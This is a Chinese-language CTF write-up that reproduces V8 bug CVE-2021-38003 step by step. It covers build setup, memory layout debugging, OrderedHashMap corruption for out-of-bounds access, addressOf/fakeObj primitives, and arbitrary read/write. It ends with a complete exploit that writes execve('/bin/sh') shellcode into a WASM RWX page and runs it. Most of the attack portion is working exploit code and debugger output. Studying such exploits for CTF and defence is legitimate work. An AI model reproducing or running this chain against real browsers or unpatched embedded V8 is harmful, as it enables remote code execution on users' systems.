从POC到EXP:从0基础到v8 CVE-2021-38003复现
此文章首发于奇安信攻防社区https://forum.butian.net/share/4851
参考文献
TheHole New World - how a small leak will sink a great browser (CVE-2021-38003)
[V8 Deep Dives] Understanding Map Internals
前言
最近在做2026年SUCTF的赛题复现,做到SU_BOX这一题的时候发现是一个v8引擎利用,之前也没有学过v8就一边学一边做了这一题,学习的过程中也踩了很多坑……
编译与调试
编译的主要流程参考了从 0 开始学 V8 漏洞利用系列篇这一篇文章,这个文章将编译的流程写成了脚本,方便后续编译不同版本的v8。
需要注意的是,编译的参数最好按照官方的来,比如SU_BOX使用的是J2V8,其编译v8的方式是这样的
1target_os = "linux"2target_cpu = "x64"3is_component_build = false4is_debug = false5use_custom_libcxx = false6v8_monolithic = true7v8_use_external_startup_data = false8symbol_level = 09v8_enable_i18n_support= false10v8_enable_pointer_compression = false那我们就要在编译参数上尽可能相同,在此基础上添加部分调试参数进行编译
1target_os = "linux"2target_cpu = "x64"3is_component_build = false4is_debug = false5use_custom_libcxx = false6v8_monolithic = true7v8_use_external_startup_data = false8symbol_level = 29v8_enable_i18n_support= false10v8_enable_pointer_compression = false11v8_enable_backtrace = true12v8_enable_disassembler = true13v8_enable_object_print = true14v8_enable_verify_heap = true所以写成build.sh脚本是这样的,由于我是在docker中编译的,因此很多路径都是绝对路径,需要进行修改
1#!/bin/bash2VER=$13if [ -z $2 ]; then4 NAME=$VER5else6 NAME=$27fi8cd /work/v8_dev/v89
10git reset --hard $VER11gclient sync -D12gn gen /work/v8_dev/out/x64_$NAME.release --args='target_os = "linux"13target_cpu = "x64"14is_component_build = false15is_debug = false11 collapsed lines
16use_custom_libcxx = false17v8_monolithic = true18v8_use_external_startup_data = false19symbol_level = 220v8_enable_i18n_support= false21v8_enable_pointer_compression = false22v8_enable_backtrace = true23v8_enable_disassembler = true24v8_enable_object_print = true25v8_enable_verify_heap = true'26ninja -C /work/v8_dev/out/x64_$NAME.release d8如果不按照官方给的参数编译的话,有可能POC无法跑通,就直接影响后续的漏洞利用
同时,经过多次尝试,我建议在运行ubuntu 20.04或者ubuntu 22.04且运行python 3.9或者python 3.10的系统环境中构建,过高或者过低的系统/python版本都会导致编译出错。编译完之后的目录是这样子的

其中可执行文件d8就是我们攻击的目标文件

同时需要将这两个文件导入到gdbinit文件中,这样才能使用v8的调试指令
我们将以下内容写在test.js中
1a= [1.1, 2.2];2%DebugPrint(a);3%SystemBreak();%SystemBreak()就是断点,程序会断在这里;%DebugPrint(a)就是将a列表的调试数据打印到终端

在gdb中调试d8文件,然后运行的时候带上—allow-natives-syntax参数才能使用%SystemBreak() %DebugPrint()两条调试指令,运行效果如下

也可以在gdb中使用job指令查看对象

需要注意的是,v8为了体现数据和地址的不同采用了不同的策略:地址+1存储,也就是说如果0x41414140作为对象地址存储就会变成0x41414141,这一点非常重要,所以这个对象的真实地址是0x3655bb30ee01-1=0x3655bb30ee00
配合x指令打印具体地址信息,可以看到JSArray结构体其实是这样排布的

数据的底层存储
回到刚刚的程序
1a= [1.1, 2.2];2%DebugPrint(a);3%SystemBreak();JSArray结构体用示意图来表示是这样的

高版本的v8中存在地址压缩,在这个版本中部分字段占8字节,具体每个字段占几个字节需要根据具体版本进行调试分析
我们看一下element是如何存储的

可以看到数据其实是存储在一个FixedDoubleArray结构体对象里的,同时可以看到这个结构体的存储位置是JSArray结构体的上方,示意图如下:

我们调试一下下面的程序,看看其中其他数据类型的存储和浮点类型的数据存储有什么不同
1a = [1.1, 2.2];2b = [0x3333, 0x4444];3c = [a, b];4%DebugPrint(a);5%DebugPrint(b);6%DebugPrint(c);7%SystemBreak();这是b对象的信息

示意图如下,可以看到在这个数据结构中存储element的结构体和JSArray结构体并不是在内存上相邻的

这是c对象的信息

示意图如下,可以看到在这个数据结构中存储对象的FixedArray结构体和JSArray结构体在内存上相邻的

OK,那么我们可以简单总结一下:如果一个JSArray结构体存储的是浮点数和对象,那么这个结构体存储元素的地址和它本身是相邻的
如果我们能通过一个漏洞修改浮点数JSArray的length字段,就可以通过索引来进行越界读写,这其实就是v8漏洞利用的核心
v8漏洞利用原理
了解了v8底层的数据存储就可以正式开始学习v8的漏洞利用了
v8类型混淆
v8是如何判断一个JSArray结构体中存储的是浮点数、整数还是对象的呢,其实就是看JSArray的Map,每一种类型的Map都不一样
如果我们将一个存储对象的JSArray结构体的Map修改为浮点数数组对应的Map,那么读取这个结构体的时候就会返回一个浮点数

我们拿到的浮点数是什么呢?诶,这就是对象的地址,v8漏洞利用中我们就可以通过这个方式来泄露对象的地址。我们将这个流程封装成函数addressOf,可以这么调用
1var victim_arr_addr = addressOf(victim_arr);将一个存储浮点数的JSArray结构体的Map修改为对象数组对应的Map,那么我读取这个结构体的时候就能返回一个对象,我们可以通过这个功能构造一个fake Object,将这个流程封装成函数fakeObj(),可以这样调用
1var fake_object = fakeObj(fake_object_addr);fake Object有什么用呢,我们可以通过这个fake Object来达到任意地址读和任意地址写的效果
获得addressOf和fakeObj原语,基本就是靠我们上一块所讲的修改浮点数JSArray的length字段以达到越界写来实现的
工具函数
1var f64 = new Float64Array(1);2var bigUint64 = new BigUint64Array(f64.buffer);3var u32 = new Uint32Array(f64.buffer);4
5// Double to Uint326function d2u(v) {7 f64[0] = v;8 return u32;9}10
11// Uint32 to Double12function u2d(lo, hi) {13 u32[0] = lo;14 u32[1] = hi;15 return f64[0];20 collapsed lines
16}17
18// Float to Integer19function ftoi(f)20{21 f64[0] = f;22 return bigUint64[0];23}24
25// Integer to Float26function itof(i)27{28 bigUint64[0] = i;29 return f64[0];30}31
32function hex(i)33{34 return i.toString(16).padStart(8, "0");35}由于在v8漏洞中主要利用的还是浮点数的存储,因此需要一些工具函数用于大整数与浮点数之间的互转,函数定义如上,可以直接拿着用
任意地址读写
首先我们要通过漏洞实现addressOf和fakeObj原语,同时已经泄露出了浮点数JSArray的Map值,将其定义为DOUBLE_MAP常量,随后定义or修改浮点数对象如下:
1var victim = [DOUBLE_MAP, 0n, addr, itof(0x0000000100000000n)];此时内存中是这样存储的

然后通过addressOf原语获得标红区域的内存,将其传入fakeObj原语中,就可以拿到fake Object,将其定义为fake_object
最后我们可以通过fake_object[0]来进行任意地址读,由于这个fake_object是伪造的存储浮点数的JSArray,因此通过fake_object[0]获取的值并不是addr中存储的数据,而是addr+0x10中存储的数据,原理可以看下面这一张图,因为addr应该是一个FixedDoubleArray结构体的地址,而存储数据的地址是addr+0x10

我们可以将其封装成read64函数
1function read64(addr)2{3 victim_arr[2] = itof(addr - 0x10n + 0x1n);4 return ftoi(fake_object[0]);5}这里的addr就是我们想泄露的地址,那么写到fake_object中就应该是addr-0x10+1
这个1的产生就是我们之前说过的v8存储地址和普通程序的差异
任意地址写和任意地址读差不多,无非就是最后的从fake_object获取值改成了修改fake_object的存储的值
1function write64(addr, data)2{3 victim_arr[2] = itof(addr - 0x10n + 0x1n);4 fake_object[0] = itof(data);5}挟持WASM段
由于低版本v8中会给WASM一个可读可写可执行的段,因此我们可以考虑通过shellcode替换原有的WASM内容以达到执行shellcode的效果
1var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);2var wasmModule = new WebAssembly.Module(wasmCode);3var wasmInstance = new WebAssembly.Instance(wasmModule, {});4var f = wasmInstance.exports.main;5%DebugPrint(f);6%DebugPrint(wasmInstance);7%SystemBreak();
当执行到断点时,vmmap就可以看到出现了一个可读可写可执行段,我们只需要想办法把shellcode写入这个段的开始地址,也就是0x11d80365f000,随后执行f()就可以触发shellcode
需要注意的是,在较高版本的v8中,WASM段已经不是可读可写可执行了,而是变成了可读可执行,因此就没有办法通过这个方式来进行利用了
任意地址写plus
我们回头看看之前的任意地址写,如果通过之前的方式写入shellcode会导致以下两个问题
- 设置的elements地址为
addr-0x10+1,但想要写shellcode的地址一般都是内存段在开头(即之前的0x11d80365f000),那么更前面的内存空间则是未开辟的(0x11d80365f000-0x10+1),写入时会因为访问未开辟的内存空间发生异常 - 在尝试写以0x7f开头的地址(如free_hook),Double类型的浮点数在处理这些高地址时会将低20位置零,导致地址错误(这一点跟版本有关,有待调试)
因此我们需要一种向某个对象中写入数据不需要经过map和length的方式来实现任意地址写
1var data_buf = new ArrayBuffer(0x10);2var data_view = new DataView(data_buf);3data_view.setFloat64(0, itof(0x41414141n), true);4%DebugPrint(data_buf);5%DebugPrint(data_view);6%SystemBreak();调试结果如下

可以看到,本质上来说setFloat64是在向JSArrayBuffer的backing_store指向的内存中写入内容,那么我们只要通过原有的任意地址写write64控制这个字段为可读可写可执行段的开始地址,就可以通过setFloat64方法向内存中无限制写入数据
讲到这里,v8漏洞利用就差不多了,可以开始具体分析题目了,因为addressOf和fakeObj原语都和具体题目有关,不同的题目获得原语的方式也不同。获得了这两个原语才能再写read64函数和write64函数
CVE-2021-38003
这个CVE的POC可以从谷歌纰漏漏洞的网站找到https://issues.chromium.org/issues/40057710
关于漏洞产生的原理本文不过多赘述,我们关注于漏洞点的利用,也就是已知CVE如何利用漏洞
1function trigger() {2 let a = [], b = [];3 let s = '"'.repeat(0x800000);4 a[20000] = s;5 for (let i = 0; i < 10; i++) a[i] = s;6 for (let i = 0; i < 10; i++) b[i] = a;7
8 try {9 JSON.stringify(b);10 } catch (hole) {11 return hole;12 }13 throw new Error('could not trigger');14}15
15 collapsed lines
16let hole = trigger();17
18var map = new Map();19map.set(1, 1);20map.set(hole, 1);21// Due to special handling of hole values, this ends up setting the size of the map to -122map.delete(hole);23map.delete(hole);24map.delete(1);25
26// Set values in the map, which presumably ends up corrupting data in fron of27// the map storage due to the size being -128for (let i = 0; i < 100; i++) {29 map.set(i, 1);30}我们将最后的循环删掉,然后打印一下map.size,看看POC有没有生效
1function trigger() {2 let a = [], b = [];3 let s = '"'.repeat(0x800000);4 a[20000] = s;5 for (let i = 0; i < 10; i++) a[i] = s;6 for (let i = 0; i < 10; i++) b[i] = a;7
8 try {9 JSON.stringify(b);10 } catch (hole) {11 return hole;12 }13 throw new Error('could not trigger');14}15
11 collapsed lines
16let hole = trigger();17
18var map = new Map();19map.set(1, 1);20map.set(hole, 1);21// Due to special handling of hole values, this ends up setting the size of the map to -122map.delete(hole);23map.delete(hole);24map.delete(1);25
26print("map.size =", map.size)
可以看到POC是有效的,那么我们就可以将这个POC改写成EXP进行利用
修改POC的整体流程可以配合https://starlabs.sg/blog/2022/12-the-hole-new-world-how-a-small-leak-will-sink-a-great-browser-cve-2021-38003/
这篇文章食用,但是这篇文章的绝大多数数据需要在本地进行调试得出,我们接下来就开始我们的调试流程
调试
首先我们看一下正常的map对象是什么样子的

JSMap在底层是通过OrderedHashMap实现的,因此我们重点需要分析OrderedHashMap这个结构体,这个结构体的原理可以看这篇文章https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df
这个结构体的示意图如下:

当我们执行map.set(key, value)时,会先对我们的key取哈希,随后和bucket_count-1进行与操作,获得hash_table_index
随后current_index就是目前已经放入数据的个数,如果hashTable[hash_table_index] == -1就代表这个哈希表还是空的,就会将key和value写入dataTable中
1hash_table_index = hashcode(key) & (bucket_count-1)2 current_index = current_element_count3 if hashTable[hash_table_index] == -1:4 // add new key-value5 // no boundary check6 dataTable[current_index].key = key7 dataTable[current_index].value = value8 ..........9 else:10 // update existing key-value in map11 // has boundary check当触发map.size == -1的漏洞时,我们看一下此时新建键值对会对内存产生什么影响
1function trigger() {2 let a = [], b = [];3 let s = '"'.repeat(0x800000);4 a[20000] = s;5 for (let i = 0; i < 10; i++) a[i] = s;6 for (let i = 0; i < 10; i++) b[i] = a;7
8 try {9 JSON.stringify(b);10 } catch (hole) {11 return hole;12 }13 throw new Error('could not trigger');14}15
15 collapsed lines
16let hole = trigger();17
18var map = new Map();19map.set(1, 1);20map.set(hole, 1);21// Due to special handling of hole values, this ends up setting the size of the map to -122map.delete(hole);23map.delete(hole);24map.delete(1);25
26print("map.size =", map.size)27map.set(0x41, 0x42);28
29%DebugPrint(map);30%SystemBreak();

可以看到0x41和0x42这两个值分别放在了buckets Count和hashTable[0]的位置上,这样的话我们就可以通过这一次异常操作来挟持OrderedHashMap中hashTable和dataTable的个数,进而达到越界写的目的

假设我们在这个结构体后方放一个JSArray,那么就有概率通过OrderedHashMap中的越界写来控制JSArray中的数据
1function trigger() {2 let a = [], b = [];3 let s = '"'.repeat(0x800000);4 a[20000] = s;5 for (let i = 0; i < 10; i++) a[i] = s;6 for (let i = 0; i < 10; i++) b[i] = a;7
8 try {9 JSON.stringify(b);10 } catch (hole) {11 return hole;12 }13 throw new Error('could not trigger');14}15
16 collapsed lines
16let hole = trigger();17
18var map = new Map();19map.set(1, 1);20map.set(hole, 1);21// Due to special handling of hole values, this ends up setting the size of the map to -122map.delete(hole);23map.delete(hole);24map.delete(1);25
26print("map.size =", map.size)27oob_arr = [1.1, 1.1, 1.1, 1.1];28
29%DebugPrint(map);30%DebugPrint(oob_arr);31%SystemBreak();我们调试这个程序

OrderedHashMap的内存数据如下

oob_arr对象的数据如下

可以看到oob_arr的length在0x298c5b7ad560的位置,和OrderedHashMap结构体的位置距离很近是有机会覆盖的,既然我们能够控制OrderedHashMap结构体的bucket数量,那么就可以拓展hashTable和dataTable到这个区域进行篡改
因此初步计划如下

1hash_table_index = hashcode(key) & (bucket_count-1)2 current_index = current_element_count3 if hashTable[hash_table_index] == -1:4 // add new key-value5 // no boundary check6 dataTable[current_index].key = key7 dataTable[current_index].value = value8 ..........9 else:10 // update existing key-value in map11 // has boundary check第一次的异常操作来挟持bucket Count,使其dataTable[0]的位置与oob_array的length字段重叠,同时设置hashTable[0] = -1,此时current_element_count为0,这个时候,只要第二次map.set(key, value)满足hashcode(key) & (bucket_count-1) == 0,就能触发hashTable[hash_table_index] == -1,进而修改dataTable[current_index].key = key,从而达到修改length的目的
我们先解决设置bucket为多少的问题,再解决取什么key能达到要求的问题
经过调试我们可以发现,hashTable[0]的地址是0x298c5b7ad4a8

oob_array的length地址是0x298c5b7ad560

这样的话我们简单算一下,假设bucket的数值是n,那么hashTable[n-1]的地址就是0x298c5b7ad558,这样的话
1(0x298c5b7ad558 - 0x298c5b7ad4a8) / 8 = 0x16这样的话bucket就要设置成0x16+1 = 0x17,那么第一次就要执行map.set(0x17, -1);
接下来要挑选一个key能够满足hashcode(key) & (bucket_count-1) == 0的要求,v8的哈希算法是公开的,同时我们可以利用之前文章中已成型的程序将其bucket值改成0x17即可
1#include <bits/stdc++.h>2
3using namespace std;4
5uint32_t ComputeUnseededHash(uint32_t key) {6 uint32_t hash = key;7 hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;8 hash = hash ^ (hash >> 12);9 hash = hash + (hash << 2);10 hash = hash ^ (hash >> 4);11 hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);12 hash = hash ^ (hash >> 16);13 return hash & 0x3fffffff;14}15
18 collapsed lines
16int main(int argc, char *argv[]) {17 uint32_t i = 0;18 while(i <= 0xffffffff) {19
20 /* bucket_count is 0x1c21 * hashcode(key) & (bucket_count-1) should become 022 * we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 023 */24
25 uint32_t hash = ComputeUnseededHash(i);26 if (((hash & (0x17-1)) == 0) && (i > 0x100)) {27 printf("Found: %p\n", i);28 break;29 }30 i = (uint32_t)i+1;31 }32 return 0;33}
也就是说第二次set的key要等于0x103,而value不重要,我们设置成0(因为dataTable[0].value的位置已经不在JSArray结构体内了,不需要关注这个值)
综上所述,我们需要进行以下操作:
1map.set(0x17, -1);2map.set(0x103, 0);我们写一个完整程序调试一下试试
1function trigger() {2 let a = [], b = [];3 let s = '"'.repeat(0x800000);4 a[20000] = s;5 for (let i = 0; i < 10; i++) a[i] = s;6 for (let i = 0; i < 10; i++) b[i] = a;7
8 try {9 JSON.stringify(b);10 } catch (hole) {11 return hole;12 }13 throw new Error('could not trigger');14}15
18 collapsed lines
16let hole = trigger();17
18var map = new Map();19map.set(1, 1);20map.set(hole, 1);21// Due to special handling of hole values, this ends up setting the size of the map to -122map.delete(hole);23map.delete(hole);24map.delete(1);25
26print("map.size =", map.size)27oob_arr = [1.1, 1.1, 1.1, 1.1];28
29map.set(0x17, -1);30map.set(0x103, 0);31
32%DebugPrint(oob_arr);33%SystemBreak();
可以看到JSArray结构体的length变成了0x103,成功进行了修改,接下来就可以通过这个oob_arr进行越界读写
获取addressOf和fakeObj原语
我们可以这样布置变量
1......2oob_arr = [1.1, 1.1, 1.1, 1.1];3victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];4obj_arr = [{}, {}, {}, {}];5
6map.set(0x17, -1);7map.set(0x103, 0);8......这样的话就可以通过oob_arr的越界读读取到存储浮点数的Map,定义为常量DOUBLE_MAP,可以通过越界读读取到存储对象的Map,定义为OBJECT_MAP
1......2print("map.size =", map.size)3
4oob_arr = [1.1, 1.1, 1.1, 1.1];5victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];6obj_arr = [{}, {}, {}, {}];7
8map.set(0x17, -1);9map.set(0x103, 0);10
11%DebugPrint(oob_arr);12%DebugPrint(victim_arr)13// %DebugPrint(obj_arr)14%SystemBreak();oob_arr[0]的地址是0x46f5552d528,存储浮点数的Map在内存0x46f5552d5a8中,可以通过oob_arr[0x10]访问到,同理可得,可以通过oob_arr[0x36]获取存储对象的Map
1oob_arr = [1.1, 1.1, 1.1, 1.1];2victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];3obj_arr = [{}, {}, {}, {}];4
5map.set(0x17, -1);6map.set(0x103, 0);7
8const DOUBLE_MAP = ftoi(oob_arr[0x10]);9const OBJECT_MAP = ftoi(oob_arr[0x36]);10print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP));11print("OBJECT_MAP = 0x" + hex(OBJECT_MAP));这样的话addressOf可以这样写,先把要泄露的地址写到obj_arr[0]中,然后修改obj_arr的Map为DOUBLE_MAP,随后就可以获取想要获取的对象地址了,最后要将obj_arr的Map重新修复为OBJECT_MAP,以便多次使用
1function addressOf(obj_to_leak)2{3 obj_arr[0] = obj_to_leak;4 oob_arr[0x36] = itof(DOUBLE_MAP);5 let target_var_addr = ftoi(obj_arr[0]);6 oob_arr[0x36] = itof(OBJECT_MAP);7 return target_var_addr;8}fakeObj和addressOf基本一致,将伪造fake_object的地址填入victim_arr中,修改victim_arr的Map为OBJECT_MAP,从而获取fake_object,最后将victim_arr的Map修复为DOUBLE_MAP以便多次使用
1function fakeObj(addr_to_fake)2{3 victim_arr[0] = itof(addr_to_fake+1n);4 oob_arr[0x10] = itof(OBJECT_MAP);5 let fake_obj = victim_arr[0];6 oob_arr[0x10] = itof(DOUBLE_MAP);7 return fake_obj;8}我们可以伪造victim_arr[2]~victim[4]为fake_object,通过这个fake_object来达到任意地址读写的能力
1victim_arr_addr = addressOf(victim_arr) - 1n;2print("victim_arr_addr = 0x" + hex(victim_arr_addr));3
4victim_arr[2] = itof(DOUBLE_MAP);5victim_arr[3] = itof(0n);6victim_arr[4] = itof(0x41414141n);7victim_arr[5] = itof(0x0000000100000000n);8
9fake_object_addr = victim_arr_addr - 0x20n;10fake_object = fakeObj(fake_object_addr);11
12%DebugPrint(fake_object)13%SystemBreak();此时内存中是这样的


可以看到我们的fake_object能被系统正常识别,报错是因为0x41414140地址无法访问,这个没关系,只要在地址未被正常设置前不使用%DebugPrint(fake_object)就不会有问题,可以正常进行read64和write64,因为这个地址会在这两个函数中被重写的
获得read64和write64
既然有了fake_object,那么read64和write64可以这样写
1function read64(addr)2{3 victim_arr[4] = itof(addr - 0x10n + 0x1n);4 return ftoi(fake_object[0]);5}就是通过victim_arr修改fake_object指向element的地址,然后通过fake_object[0]读取
1function write64(addr, data)2{3 victim_arr[4] = itof(addr - 0x10n + 0x1n);4 fake_object[0] = itof(data);5}write64的原理与read64相同,就是读取内存变成了对内存赋值
获取WASM可读可写可执行段
1var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);2
3var wasmModule = new WebAssembly.Module(wasmCode);4var wasmInstance = new WebAssembly.Instance(wasmModule, {});5var f = wasmInstance.exports.main;6
7%DebugPrint(wasmInstance)8%SystemBreak();对这个程序进行调试

可以看到RWX段在结构体开始地址+0x80的位置上,我们可以通过read64获取这个地址
1var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);2
3var wasmModule = new WebAssembly.Module(wasmCode);4var wasmInstance = new WebAssembly.Instance(wasmModule, {});5var f = wasmInstance.exports.main;6
7shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n);8print("shellcode_addr = 0x" + hex(shellcode_addr));通过任意地址写plus,写入shellcode
1var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ]2shellcode_write(shellcode_addr, shellcode);shellcode_write函数需要通过任意地址写plus实现,具体如下
1function shellcode_write(addr,shellcode)2{3 var data_buf = new ArrayBuffer(shellcode.length);4 var data_view = new DataView(data_buf);5 var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n;6 write64(buf_backing_store_addr,addr);7 for (let i=0;i<shellcode.length;++i) {8 data_view.setUint8(i,shellcode[i]);9 }10}由于backing_store在JSArrayBuffer结构体+0x28的位置,因此需要通过write64控制这个字段,随后多次调用setUint8方法即可逐字节写入shellcode
写完后执行
1f();即可获得shell

完整exp如下
1var f64 = new Float64Array(1);2var bigUint64 = new BigUint64Array(f64.buffer);3var u32 = new Uint32Array(f64.buffer);4
5// Double to Uint326function d2u(v) {7 f64[0] = v;8 return u32;9}10
11// Uint32 to Double12function u2d(lo, hi) {13 u32[0] = lo;14 u32[1] = hi;15 return f64[0];125 collapsed lines
16}17
18// Float to Integer19function ftoi(f)20{21 f64[0] = f;22 return bigUint64[0];23}24
25// Integer to Float26function itof(i)27{28 bigUint64[0] = i;29 return f64[0];30}31
32function hex(i)33{34 return i.toString(16).padStart(8, "0");35}36
37function addressOf(obj_to_leak)38{39 obj_arr[0] = obj_to_leak;40 oob_arr[0x36] = itof(DOUBLE_MAP);41 let target_var_addr = ftoi(obj_arr[0]);42 oob_arr[0x36] = itof(OBJECT_MAP);43 return target_var_addr;44}45
46function fakeObj(addr_to_fake)47{48 victim_arr[0] = itof(addr_to_fake+1n);49 oob_arr[0x10] = itof(OBJECT_MAP);50 let fake_obj = victim_arr[0];51 oob_arr[0x10] = itof(DOUBLE_MAP);52 return fake_obj;53}54
55function read64(addr)56{57 victim_arr[4] = itof(addr - 0x10n + 0x1n);58 return ftoi(fake_object[0]);59}60
61function write64(addr, data)62{63 victim_arr[4] = itof(addr - 0x10n + 0x1n);64 fake_object[0] = itof(data);65}66
67function shellcode_write(addr,shellcode)68{69 var data_buf = new ArrayBuffer(shellcode.length);70 var data_view = new DataView(data_buf);71 var buf_backing_store_addr=addressOf(data_buf)-1n+0x28n;72 write64(buf_backing_store_addr,addr);73 for (let i=0;i<shellcode.length;++i) {74 data_view.setUint8(i,shellcode[i]);75 }76}77
78function trigger() {79 let a = [], b = [];80 let s = '"'.repeat(0x800000);81 a[20000] = s;82 for (let i = 0; i < 10; i++) a[i] = s;83 for (let i = 0; i < 10; i++) b[i] = a;84
85 try {86 JSON.stringify(b);87 } catch (hole) {88 return hole;89 }90 throw new Error('could not trigger');91}92
93let hole = trigger();94
95var map = new Map();96map.set(1, 1);97map.set(hole, 1);98// Due to special handling of hole values, this ends up setting the size of the map to -199map.delete(hole);100map.delete(hole);101map.delete(1);102
103print("map.size =", map.size)104
105oob_arr = [1.1, 1.1, 1.1, 1.1];106victim_arr = [2.2, 2.2, 2.2, 2.2, 2.2, 2.2];107obj_arr = [{}, {}, {}, {}];108
109map.set(0x17, -1);110map.set(0x103, 0);111
112const DOUBLE_MAP = ftoi(oob_arr[0x10]);113const OBJECT_MAP = ftoi(oob_arr[0x36]);114print("DOUBLE_MAP = 0x" + hex(DOUBLE_MAP));115print("OBJECT_MAP = 0x" + hex(OBJECT_MAP));116
117victim_arr_addr = addressOf(victim_arr) - 1n;118print("victim_arr_addr = 0x" + hex(victim_arr_addr));119
120victim_arr[2] = itof(DOUBLE_MAP);121victim_arr[3] = itof(0n);122victim_arr[4] = itof(0x41414141n);123victim_arr[5] = itof(0x0000000100000000n);124
125fake_object_addr = victim_arr_addr - 0x20n;126fake_object = fakeObj(fake_object_addr);127
128var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);129
130var wasmModule = new WebAssembly.Module(wasmCode);131var wasmInstance = new WebAssembly.Instance(wasmModule, {});132var f = wasmInstance.exports.main;133
134shellcode_addr = read64(addressOf(wasmInstance)-1n+0x80n);135print("shellcode_addr = 0x" + hex(shellcode_addr));136
137var shellcode = [ 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x00, 0x57, 0x48, 0x89, 0xE7, 0x48, 0x31, 0xF6, 0x48, 0x31, 0xD2, 0x48, 0xC7, 0xC0, 0x3B, 0x00, 0x00, 0x00, 0x0F, 0x05 ]138shellcode_write(shellcode_addr, shellcode);139
140f();结语
这篇文章主要关注于已知漏洞的利用,并非漏洞的挖掘。在赛场上需要在有效的时间内完成验证POC到编写EXP的整个流程,因此调试的思路是很重要的。这个CVE网上流传的EXP绝大多数不能用,这个和不同版本v8的字段偏移有关,比如WASM段在wasmInstance结构体中的偏移和backing_store在JSArrayBuffer中的偏移都需要通过调试获得,同时也和不同版本v8变量的底层存储逻辑有关。
这篇文章记录了我从0基础到完成v8 CVE复现的整个流程,耗时两周。实话实说挺坐牢的,好在最终拿到了shell,也成功入门v8,成就感直接爆表。作为pwn手的我不就期待着这一刻吗( •́ .̫ •̀ )。